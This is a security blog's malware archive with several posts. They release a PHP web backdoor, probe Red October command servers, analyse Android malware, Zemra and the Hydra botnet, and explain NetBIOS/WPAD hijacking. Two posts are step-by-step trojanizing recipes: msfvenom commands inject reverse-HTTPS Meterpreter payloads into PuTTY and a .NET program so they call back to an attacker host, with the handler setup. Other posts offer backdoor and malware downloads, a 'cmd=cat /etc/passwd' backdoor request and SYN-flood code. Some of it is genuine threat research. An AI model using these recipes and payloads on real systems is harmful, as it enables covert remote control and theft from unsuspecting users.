Category Archives: malware

Tool Release: phpkit 1.0 Web Backdoor

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This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.

phpkit

phpkit

While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.

Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory :D
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version ;)

I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here: http://insecurety.net/?p=705

This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory ;)

Anyways, enough talking about how awesome it is (it really is not that awesome :( ), time for some demos and useage.

So, obviously you have placed odd.php on the target server somewhere, somehow. What next?

Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.

The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”

This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.

Here is a screenshot of it in shell mode

phpkit shell mode

Shell Mode

And here is a screenshot of file uploading.

phpkit upload mode

phpkit upload mode

Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know :)

You may download it here: phpkit-1.0.tar.gz :)

The Hunt For Red October

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The Hunt For Red October – The Job So Far

Today, Kaspersky Labs released a report on a long running advanced persistent threat* (APT) they had uncovered, revealing a long running cyber-espionage campaign targeting a broad and diverse mixture of both countries and sectors. As usual the fingers were pointed at China (Chinese exploit chains, Chinese hosts used…), however, there was also some evidence to implicate Russian involvement, which was speculated to be a “False Flag” attempt.

An associate of mine, after reading the report, came up with a SHODAN dork rather quickly to identify the C&C hosts.

http://www.shodanhq.com/search?q=Last-Modified%3A+%27Tue%2C+21+Feb+2012+09%3A00%3A41+GMT%27+Apache

After a few seconds, he realized that the etag header on all of them was the same, leading to the following query:

http://www.shodanhq.com/?q=8c0bf6-ba-4b975a53906e4

SO, Fingerprinting information: just check for etag = 8c0bf6-ba-4b975a53906e4 :)

The “offending IP’s” are as follows. These are used as proxies it appears.
31.41.45.119
37.235.54.48
188.40.19.244
141.101.239.225
46.30.41.112
188.72.218.213
31.41.45.9

So, we now have a list of 7 C&C hosts. Time to break out nmap and see what they are doing.

The following scan string was used for an initial scan of all the hosts.

sudo nmap -sSUV -A -O -vvv 3 -oA huntingredoctober 31.41.45.119 37.235.54.48 188.40.19.244 141.101.239.225 46.30.41.112 188.72.218.213 31.41.45.9

The tarball of report files is available here: huntingredoctober.tar

The hosts identified as alive are as follows:
37.235.54.48
188.40.19.244
31.41.45.119

The other four were not responsive, probably taken down already. No fun.

Once I had identified which hosts were, infact, still alive (while the rest of the bloody slow scan was running), I decided to see what lay behind the scenes on these hosts, doing the “daft” thing of connecting to port 80 using my web browser. The clench factor was rather intense as I half expected to be owned by about half a dozen super 0day exploits on crack while doing so. instead, I was redirected harmlessly to the BBC.

The following HTML code was responsible for this redirect, which I thought was an incredibly clever way to hide their true purpose.

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>BBC – Homepage</title>
<meta http-equiv=”REFRESH” content=”0;url=http://www.bbc.com/”></HEAD>
</HTML>

Back to the nmap scan (it had FINALLY completed), the following was very interesting.

PORT    STATE         SERVICE     VERSION
80/tcp  open          http?
|_http-title: BBC – Homepage
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
138/udp open|filtered netbios-dgm
520/udp filtered      route

All of the servers looked like this. They all had those three ports – 80, 138, 520, open or filtered. The rest were all closed. The 188.40.19.244 host began sending me RST packets midway through my scan, but regardless, the work went on. I decided I was going to look at the webserver from informations kaspersky published.

Sending GET requests to the /cgi-bin/ms/check CGI script produced a 500 internal server error, as did other CGI scripts. This was interesting in that they told me to email eaxample@example.com about it. I did so immediately, being a good netizen. Note the mispelling of example – “eaxample”.

Being Nice

Emailing the big heckers. The email delivered

Apparently the mail was delivered successfully, so I hope they reply soon with an explanation.

On to more serious things, another analyst working with me uncovered another interesting thing.

He went and did the following:
printf “POST /cgi-bin/nt/th HTTP/1.1\r\nHost: 37.235.54.48\r\nContent-Length: 10000\r\n\r\n%s” `perl -e ‘print “A”x(20000)’` | torsocks nc 37.235.54.48 80

Now, he had figured out the page would 500, unless a content length was set. So, he set a long Content Length, and sent an even longer POST request.
The result was nothing short of fascinating.

HTTP/1.1 200 OK
Date: Mon, 14 Jan 2013 19:18:07 GMT
Server: Apache
Content-length: 0
Content-Type: text/html

HTTP/1.1 414 Request-URI Too Large
Date: Mon, 14 Jan 2013 19:18:08 GMT
Server: Apache
Content-Length: 250
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>414 Request-URI Too Large</title>
</head><body>
<h1>Request-URI Too Large</h1>
<p>The requested URL’s length exceeds the capacity
limit for this server.<br />
</p>
</body></html>

“Look mom! Two headers!”. Seriously, this is interesting. First it gives a 200 OK, then a second later something else says “LOL, NO”. The delay makes us think the proxy is saying “OK”, then the real C&C is complaining. The fact it complains about a request URL, and the length being in the POST request, makes me think the final data-to-C&C might be sent as a GET. Just a theory.

— TO BE CONTINUED —

// This post suffered a bad case of myself and fellow researchers having a lulz about it, and my cat straying onto my keyboard. It is a work in progress.

— Continuing the hunt —

Today we retrieved new intelligence (or rather, last night, but I could not act on this intel) from HD Moore of Metasploit project that more C&C servers had been located. The following link is the list of IP addresses.

http://pastie.org/private/ytbrfmqpn8alfjfrnbhcbw

So, it was decided (once the cat had gotten the hell off my keyboard) to investigate this list.
@craiu provided us with the tip “check out “1c824e-ba-4bcd8c8b36340″ and “186-1333538825000″ too.”, so we will act upon this later.

I decided, seeing as my internet went down for a while, to test out my Python skillz, and whipped up a quick program I named “SONAR”, which simply attempted a TCP connection to port 80 on the suspected C&C servers and logged responsive ones to a file. Source code attached.
sonar.tar

Sonar…

I could have used nmap, but that would have been unimaginative and, frankly, no fun. And who says hunting cyber-spies (So much worse than normal spies, ‘cos they got the dreaded CYBER in there) is not supposed to be bloody fun anyway, not me for certain!

We quickly reduced the list to a “lot less than we had”, and I queued them up for nmap scanning, which has yet to be done, as the sysadmins on the network I am using do not like when I portscan things for some odd reason. Or when I use SSH, or email.

Anyway, I digress.

So far, more C&C servers had been identified, and more “Fingerprinting” methods had been developed. I am considering writing a patch to sonar.py to dump out the etag data along with working IP’s, but that can wait til later. A simple HTTP GET / should do the trick, with a few regex’s.

We also obtained a list of MD5 hashes from malware.lu showing samples of Red October they have in their repo – see here -> http://pastebin.com/7zayMrKt so those were queued up for downloading (once on a non monitored by college network) for some analysis using IDA. That is to be tonight’s job – a quick and dirty first pass run of analysing these things.

* For the record, I think APT is another FUD term… But oh well, it has become “a thing”.

Injecting arbritary code into .NET Assemblies using ‘und3ath Injector’

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Last night I was browsing a forum I frequent – http://trojanforge.com/ and came across a piece of code named “und3ath Injector” written by a user named und3ath. It claimed to be capable of injecting arbritary code into .NET assemblies without harming the original code – in short – a stealth backdooring tool for .NET executables.

The author’s article and release can be found on his blog here: http://und3ath.blogspot.fr/2012/10/source-d3ath-jector-mono-cecil-injector.html this guy is a very good .NET programmer, I expect he will come out with more awesome things soon :)

This, to me, was fascinating. What it does is it directly injects ‘evil code’ into the .net executable into one of the functions or forms that comprise the assembly, without altering the functionality of the original. It simply sneakily adds a “Little Extra”. The fact I fucking hate .NET with a passion meant I saw a hilarious extra “Evil” side to this! A trojanizer for .NET executables? AWESOME. I had trouble in the past injecting MSF payloads into .NET binaries without breaking the original binary.

The proof of concept tool – und3ath Injector – has two payloads. A Messagebox payload and a “Trojan Downloader” payload. The first is proof the damn thing works, the second a more “weaponized” payload for dropping malware or backdoors on a victim system.

One of the benefits of using a downloader instead of hiding a full backdoor in there is stealth – less modifications to the file, and less for an AV to sign on.

So, without further ado, I am going to inject a dropper into a .NET binary, and see does it function as planned. The dropper will download a Meterpreter payload from a remote server, execute the payload, and we will take it from there…

Before we do anything, we will generate our Metasploit Payload to run on the victim system and place in our webroot.

The following should do the trick…

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 LHOST=192.168.1.41 LPORT=443 >evil.exe

This creates the executable file “evil.exe” in our current working directory. The msfvenom command should be self explanatory, but if there is demand for it I will write an article later on using msfvenom. If you are capable of reading the f*cking manual you should get it :)

Creating the Meterpreter payload

Creating the Meterpreter payload

So we have our evil binary in /var/www/lulz ready to go. We can now move on to the main part of this article – backdooring .NET assemblies by “patching” them with extra .NET code.

The victim .NET binary I chose to use is a simple calculator application. I found it online and decided it made a good enough victim for demonstration purposes.

Here is a screenshot of it running, for those of you who do not know what a calculator is :P

.NET calculator

.NET calculator

Now. We open ‘und3ath Injector’ and select “Load File”. Use this dialogue to select the binary you wish to backdoor.

Selecting a file to backdoor

Selecting a file to backdoor

Next we click on any of the parts that we think would be good to inject code into (I normally choose the main class for some odd reason, though you could select an on click event…)

When we click on this the “Payloader” menu comes up. We insert our information/selection here.

Create Payload

Create the Payload

When you click inject, it starts creating a new binary for you to use and you save it.

Saving the Backdoor

Saving the Backdoor

Now, we have our evil binary ready to deploy, and have our Metasploit listener ready. We run the modified binary on the victim host and haz shell :)

g0tsh3ll, again

Got a shell =D

So, as you an see, it is relatively trivial to inject arbritary code into a .NET assembly without affecting the existing functionality of the software.

Injecting arbritary Metasploit payloads into Windows executables.

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This is a very simple writeup, demonstrating how simple it is to use Metasploit to inject arbritary code into a Windows executable, effectively backdooring said executable.

By backdooring a legitimate executable, we can effectively hide our “evil” code amongst a pile of “good” code, and backdoor it in an undetectable manner. This means antivirus software will have a hard time finding our backdoor – or at least that is what we hope.

For now I will demonstrate using Metasploit payloads, however research and looking at the msfvenom utility suggests I can use a custom payload, which I will investigate in a later article.
For this, we use the “msfvenom” utility. I personally find this the easiest way to go about this.

We shall start by choosing a binary to backdoor. I decided to use the “putty” binary due to it being used in the Offensive Security examples I learned from a long time ago.

So we wget the Putty binary…

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

wget putty.exe

Downloading the Putty binary to backdoor

Next, we inject an encoded payload into this binary. Why do we encode it? Because we can.

msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 25 -k -x /var/www/lulz/putty.exe LHOST=192.168.1.41 LPORT=443 >evilputty.exe

Injecting the payload with msfvenom

Injecting the payload with msfvenom

We use the “msfvenom” utility, the “Reverse HTTPS Meterpreter” payload for Windows, and set the format (-f) to “exe” for “exe file”. We set the encoder to x86/shikata_ga_nai and tell it to encode the payload 25 times. We also specify the LHOST and LPORT for the backdoor to “Phone Home” to.

Now for the special secret ninja sauce.

The -x switch tells it what “template EXE” to use, so we specify the Putty binary we downloaded. This tells it to inject the malicious code into the Putty binary.

The -k switch is even cooler, tells it to run the malicious code in a remote thread in order to not fuck with the functionality of the Putty program we just backdoored.

So, lets test it!

First off we start msfconsole, and give it the following commands.

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lport 443
set lhost 192.168.1.41 (our local host, change this if needed)
exploit

Now when the victim host runs our backdoored Putty binary, they will see Putty functioning normally… However in the background… We own their box.

Backdoored Putty.exe running on victim host

Backdoored Putty.exe running on victim host

Owned!

Owned! Meterpreter executing on victim

 

Quick Post: Initial Analysis of “LuckyCat” APT Android Malware

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First off, I have not been writing as often as I like lately. Have a bunch of nice things half written, and no time at present to finish the damn things due to college. Anyway, on with the show!

So I was browsing the Contagio Mobile Malware Dump and came across this: http://contagiominidump.blogspot.ie/2012/08/luckycata-android-apt-malware.html#more

I was intrigued. The “LuckyCat” APT people had come on my radar before for their elegant use of incredibly low-tech methods (old exploits, very simplistic malware).

So, I decided to dissect this thing. Using Dex2Jar, Unzip and JD-GUI, I was able to quickly reduce the .apk to its source code (Java, ugh) and poke around.

Trend Micro had previously shown it seemed to have file manager functionality, remote command execution, and possibly phonebook theft features. So I decided to go look at its C&C.

I eventually found the following code in the “CMainControl.java” class:
private String strReIP = “greenfuns.3322.org”;
private String strRePort = “54321″;

Now, this lead me to think “So, it connects to that host on that port… Interesting”.

An nslookup shows this no longer seems to exist:
$ nslookup greenfuns.3322.org
Server:        192.168.1.254
Address:    192.168.1.254#53

Non-authoritative answer:
Name:    greenfuns.3322.org
Address: 10.0.0.101

3322.org is, unless I am mistaken, a dynamic DNS provider.  A whois shows it to be China based, as expected.

While going over the source, I noticed a few strings with Chinese characters in them, further giving me the opinion this is another Chinese APT type threat thingy.

I did not, unfortunately, have time for anymore screwing with this, so without further ado, here is the download link to the malware and decompiled source. Password for zip files is “infected”, where needed.

https://www.dropbox.com/s/bbj2y6w9zku10vw/LuckyCat-Android-Malware.zip

 

Zemra DDoS Bot: Backdoors in your Backdoors!

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So, today I grabbed a sample of the leaked “Zemra” botnet source code, and quickly did a “10 second analysis” of the webpanels source code. I often do this to see can I locate any “GLARING SECURITY FLAWS” in the C&C. I am also working on finding a google-dork to find Zemra installations.

For information about Zemra the following links are useful :)
http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot

http://threatpost.com/en_us/blogs/new-crimeware-bot-zemra-behind-ddos-attacks-062712

http://thehackernews.com/2012/06/zemra-botnet-leaked-cyber-criminals.html
http://news.softpedia.com/news/Zemra-DDOS-Crimeware-Kit-Used-to-Extort-Organizations-278041.shtml

So. This was on sale in various places online (Russian forums apparently), however I suspect (based on the backdoor and the fact it is written in C#) that is is German in origin. Some of the stuff in there seems to be German also, so I assume it is another product of the German Skid Scene. Basically “Rippers Inc”. LAME!

Anyway, I was looking at the webpanels source (I will eventually rip the bots source apart) and noticed that gate.php has some lulzy SQLi (possibly).

Far more interesting was the backdoor. Located at /Zemra/Panel/Zemra/system/command.php, it is your basic “BACKDOOR”. It takes the GET parameter “cmd” and executes it.

Example: localhost/Zemra/Panel/Zemra/system/command.php?cmd=cat /etc/passwd

I will be researching this in greater depth… Sometime in the near-ish future. But as always, there be backdoors in your backdoors!

Finally: Zemra.rar file is here: Zemra

Web Malware Collection – Massive Change

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Insecurety Research has mantained a repository of web malware over at Google Code for a considerable amount of time, so independant researchers could get samples for analysis.

We always offered it as a SVN repo, where anyone could anonymously check out the whole collection, or selected samples, at will.

Those days, sadly, have come to an end.

Due to a researcher from nerv.fi creating an issue about it – see here - we ended up deciding to come to a compromise, lest we get suspended or something.

We now offer the entire repository as an archive downloadable here instead of a SVN repository, and every time we get 50 new samples in the bag, we will update the tar file.

Simply wget http://web-malware-collection.googlecode.com/files/web-malware-collection-13-06-2012.tar.gz to get the current one. We will post every time we release a new one.

This project has been one of our proudest achievements, and we are very sorry to see it crippled in this way, however as we all know, we must adapt in order to survive. While Henri has a legitimate complaint, we believe that these samples STILL belong to the public.

Human knowledge belongs to the world, after all, and information ALWAYS wants to be free.

Hydra IRC bot, the 25 minute overview of the kit.

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Hydra IRC bot, the 25 minute overview of the kit. (25 minutes to write and “do”, not to read!)

The Hydra IRC botnet kit is a very interesting sample that we have in our collection. It is, essentially, “RX-Bot for Routers”. By this, we mean it is an extensible, well documented (in the source), open source botnet framework which is freely available for anyone to download. The problem, of course, is locating a copy.

Unlike other IRC bots targetting the “Linux” platform, for example, the “Kaiten” series of bots written in C, or the “ShellBot” series of bots written in various scripting languages, the Hydra is a more carefully developed framework, and by design is far more extensible than the others.

While the Kaiten family offer potent DDoS capabilities, they totally lack spreading tools – in order to “spread” a Kaiten effectively, you would have to root Linux servers en-masse. The Hydra, has built in worm-like capabilities, allowing it to automatically seek out and infect new victims.

The shellbots DO spread, and may even infect other platforms/architectures (being written in scripting languages means they will run on anything that has an interpreter), however their DDoS capabilities are weak, and they tend to be rather “hacky” programs.

Furthermore, while the Kaiten bots are almost limited to the x86-Linux platform (they stubbornly refuse to compile on much else), the Hydra series is designed to run on damn near anything – in particular, MIPSEL routers.

Most interesting of all, however, is the fact that the development of these elegant pieces of malware has not progressed much. Wheras the Kaiten and Shellbot are constantly being remade, the Hydra, being a far more impressive – and complex – piece of code, is pretty much ignored by your contemporary developer of Unix malware. This is unusual, as its counterpart on Windows – RXbot, was developed almost religiously.

Anyways, on we go. Lets crack open the archive and see what is inside!

Contents of the Archive:
infodox@shinigami:~/router/hydra$ ls -R
.:
ChangeLog – Changelog for this version.
include – Directory of header files.
Makefile – Makefile.
README – Readme.
source – Main source code files.

./include:
hydra_conf.h – Bot configuration header file.
hydra_irc.h – IRC header file.
hydra_mesg.h – Messages it prints to channel for various purposes.
hydra_scan.h – Variables used in vulnerability scanning/exploitation.
hydra_utils.h – Currently just a variable to assign to process ID for daemonizing.
hydra_hds.h – File containing list of header files.
hydra_main.h – Just some variables.
hydra_reqs.h – More variables, version number, etc.
hydra_synf.h – Headers/Variables for SYN Flooding.

./source:
hydra_irc.c – IRC handling code.
hydra_reqs.c – Command parsing code apparently.
hydra_synf.c – SYN Flooding/DDoS Functions.
hydra_main.c – main() function.
hydra_scan.c – Scanning functions for owning routers.
hydra_utils.c – Functions used for daemonizing, host2ip, etc. “Utilities”.

As you can see, it is a fairly well-crafted piece of software, in that the developers did not try jam everything in one source file, like the developers of Kaiten and the ShellBots do. Instead, everything is split up rather neatly. This would make future development FAR easier than hacking on one file!

So, lets take a look at what version we got, and its changelog!

– Begin Changelog –

Hydra 2008.1 stable (released 2008-02-23)

* added input line parser.
* added irc connection random ident string.
* added source address synflood spoofing.
* added daemonize manage function for quiet debug
* fixed ‘upgrade’ same file replace bug.
* fixed serveral error messages.
* removed an command ‘reclst’ for unutility.
* source code completly rewrite.

– End Changelog –

So, it would seem that this was the “first release of 2008”. And the changelog itself makes me think the developer was doing some serious work on it – rewriting the source code completely, fixing bugs, removing useless functions and commands… It makes me wonder were there previous variants that I have simply not obtained yet.

Onward we go to the Makefile, and for brevity I only include the relevant snippet here – the rest is pretty much “normal”.

– Begin Makefile Snippet –

CFLAGS=
x86_CC=/usr/bin/gcc
MIPSEL_CC=/opt/hardhat/previewkit/mips/mipsel-linux-uclibc/bin/mipsel-uclibc-gcc
x86_VERS=hydra_x86_bin_2008.1
MIPSEL_VERS=hydra_mipsel_bin_2008.1

– End Makefile Snippet –

So, we can clearly see, this version supports the MIPSEL and x86 architectures, and I do wonder who “hardhat” is… Don’t you?

The fact the author wrote a somewhat decent makefile suggests either an IDE of some kind that auto-generates them for you, or, a somewhat competent author. Having had difficulty getting ANYTHING to run on MIPSEL routers in the past, I will go with “competent”.

Lets take a look at the readme, see if we can gather more data! As @TheResGroup says, “we love data”.

First off, the author is not a native English speaker. Second, his email is proudly on display as “esaltato@autistici.org”. I checked autistici.org, it seems to be some kind of Privacy collective, similar to Riseup.net (who, by the way, are AWESOME). It also makes me think of Italy, and there is more evidence for this later on when we see the predefined C&C server.

In the readme, he describes his program in the following manner:
“Hydra is a mass-tool commanded by irc that allows scanners and exploited dlink router for make BOTNET (rx-bot style), in addition to this, with void you can attack with tcp/udp flood.”
Ok, so we know his intention – an RX Bot style bot for routers, in particular, D-Link routers. Now, unless I am terribly mistaken, the D-Link routers run DD-WRT of some kind, which is basically MIPSEL Linux. Which is why this bot works so damn well.

The interesting thing is, he does NOT give a command list in the readme! So the user could setup their botnet, then realize they have NO clue how to use it!

So, lets go find the commands, and figure out what they do!

By opening source/hydra_main.c we get the following:

– Begin Hydra Command List –

* *** Access Commands:
*
* .login <password> – login to bot’s party-line
* .logout – logout from bot’s party-line
*
* *** Misc Commands
*
* .upgrade <url> <binary_name> – upgrade binary from http url
* .version – show the current version of bot
* .status – show the status of bot
* .help – show this help message
*
* *** Scan Commands
*
* .scan <a> <b> <user> <passwd> – scanner/exploit with user:passwd
* .advscan <a> <b> – scanner/exploit with auto user:passwd
* .recursive – scanner/exploit with localip scan
* .recrd – advscan with local addr (B-range random)
* .stop – stop all actions (scan/flood)
*
* *** DDOS Commands:
*
* .synflood <host> <port> <secs> – standard synflooder
*
* *** IRC Commands:
*
* .join <channel> <password> – join bot in selected room
* .part <channel> – part bot from selected room
* .quit – kill the current process
*

– End Hydra Command List –

So. While the README tells us we have both UDP/SYN flooding, the commands only offer SYN. Which makes me assume we are missing some commands! Having poked through the source, the UDP flooding functionality is simply not there, so I assume it is not implemented in this version.

Now that we have an overview of the bots capabilities, let’s take a look at the DDoS code in it, before I wrap this post up. Please note – this post is essentially a “teaser” of a paper me and a fellow researcher are writing on this kind of malware, and trust me – that paper is gonna be badass.

– Begin TCP Packet Creation Snippet – source/hydra_synf.c –

/* form tcp packet */
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

– End TCP Packet Creation Snippet – source/hydra_synf.c –

As we can see, it is sending a SYN packet, with a window size of 512, to a specified port. It uses its PID as the sequence number and has an offset of 5. Surely a detection could be written, but I am sure it would be littered with false positives.

Now, I am not an expert, but the following snippet makes me think maybe it is threading the function to run 50 times – I do not see any calls to fork(), but it seems to have a loop here that increments a counter (vt) every time a thread runs.

– Begin Threading Snippet –

if (vt >= 50)
{
if (time(NULL) >= start + ntime)
{
arg_send(sp->s_fd, end_synflood, irc_room);
max_pids–;

exit(0);
}

vt = true;
}

vt++;
}

– End Threading Snippet –

It would appear that this snippet runs a counter, which SYN floods with 50 threads for X time, and alerts the IRC room when it is done. Fairly standard fare for an IRC bot, however most thread numbers I see are 64/128/256 in other bots/DDoS tools. Likely they use less threads due to the limited CPU capabilities of embedded devices, or, maybe the programmer just wanted to use 50 threads…

This concludes my “brief writeup” on the Hydra, and in an upcoming paper I will be covering it in more depth – including its propagation mechanisms and other interesting things that we find, including the hardcoded C&C, configuration settings, and such.

Hope you enjoyed :)

nbsniff – Abusing the Netbios Name Lookup Service

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This is a very short post, basically pointing you at someone elses site for something awesome, however, seeing as it is kind of a hot topic, I may as well write SOMETHING about it.

Recently there was a massive stir about the “FLAME” malware (which I am working on an article about) using a MITM attack to propegate, by hijacking Microsoft Update(s).

Pretty cool, no?

Well, first off, lets look at how it went about it.
First off, it used the NetBIOS hijacking technique (wherin, any netbios name lookup was answered with “ME”) to give victims a bogus WPAD.dat file.

“lolwat”?
Ok. When your computer is looking up another computer, it first tries DNS to see can it resolve the domain to an IP. Hijacking someones DNS is trivial, but requires a full on ARP poisoning, or rerouting, attack, which is pretty involved. So. If the domain DOESN’T resolve, the computer broadcasts a “NetBIOS Name Lookup” to EVERYONE, and in theory, only a computer with a matching name will reply.

This is where we come in. We reply with “Yeah, thats us!” to their request, and they then “trust” that we are who they are looking for.

So. When their computer automatically checks is there a WPAD server (Web Proxy Auto Discovery – a server on the network that tells computers what proxy settings to use) – we tell them “yo, thats me”. And serve up a malicious WPAD.dat file. Which, could make them simply route all their traffic through a logging proxy on our box, but in this case, simply tells them that we are their Windows Update providers.

When they then request updates, we go “here” and give them their Windows Updates (actually malware).

A fairly trivial attack really… Though Ron over at SkullSecurity can provide you with software to do this kind of thing, and likely explains it better :)

So without further ado, here be links to some software and stuff for you to play with :)
http://www.skullsecurity.org/wiki/index.php/Nbtool
http://www.skullsecurity.org/wiki/index.php/Nbsniff
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